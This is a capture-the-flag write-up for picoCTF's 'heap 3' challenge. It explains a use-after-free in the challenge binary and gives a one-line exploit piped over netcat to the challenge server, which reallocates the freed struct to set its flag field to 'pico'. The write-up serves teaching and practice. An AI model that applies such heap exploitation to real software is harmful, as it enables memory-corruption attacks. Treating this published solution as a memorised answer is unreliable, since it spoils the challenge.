Skip to content

Latest commit

 

History

History
80 lines (56 loc) · 3.1 KB

File metadata and controls

80 lines (56 loc) · 3.1 KB

heap 3

Overview

200 points

Category: Binary Exploitation

Tags: #binaryexploitation #heap #useafterfree #writewhatwhere

Description

This program mishandles memory. Can you exploit it to get the flag?

Approach

Inspecting the provided chall.c source file, we can see the init() function called from main() at the start of execution, allocates an object data structure to global variable x and sets the x->flag member variable to "bico".

typedef struct {
  char a[10];
  char b[10];
  char c[10];
  char flag[5];
} object;

object *x;

The check_win() function invoked from the "Check for win" menu item (4), checks the x->flag for a values of "pico" as the win condition to read and display the flag file.

Further analysis finds that the "Free x" menu item (5) invokes the free_memory() function, which frees the memory allocated to the global variable x, however x is not modified and hence left a dangling pointer.

The "Allocate object" menu item (2) invoked the alloc_object() function, which prompts the user for the size of the object to allocate, and allocates this amount via malloc() to a local variable alloc. It then prompts the user for data to write to the newly allocated buffer in an unbounded fashion.

These two functions allow for a User After Free (UAF) based 'write-what-where' primative attack, as x is continued to be used after free by the likes of check_win() and we know if we allocate the same size block when invoking alloc_object() then tcache will return the freed x buffer, which we conveniently get the opportunity to write whatever data we want, such as the win condition required by check_win().

Solution

The final solution and construction of the corresponding input buffer:

  • Free x using menu item 5 = "5\n"
  • Allocate a new object using menu item 2 = "2\n"
  • Select the size of the new object, as the same size as the object data structure, which is 35 bytes = "35\n"
  • Fill the first three members of the structure a, b and c with dummy data, totalling 30 bytes = "A"*30
  • Append our win condition value for the flag member variable, which completes the data to write input string = "pico\n"
  • Finally check for a win and dump the flag using menu item 4 = "4\n"

Which when all put together yields the following output :

$ echo $(python3 -c 'print("5\n2\n35\n" + "A"*30 + "pico\n4\n")') | nc tethys.picoctf.net 52112

freed but still in use
now memory untracked
do you smell the bug?

1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit

Enter your choice: 
1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit

Enter your choice: Size of object allocation: Data for flag: 
1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit

Enter your choice: YOU WIN!!11!!
picoCTF{...........redacted.............}

Where the actual flag value has been redacted for the purposes of this write up.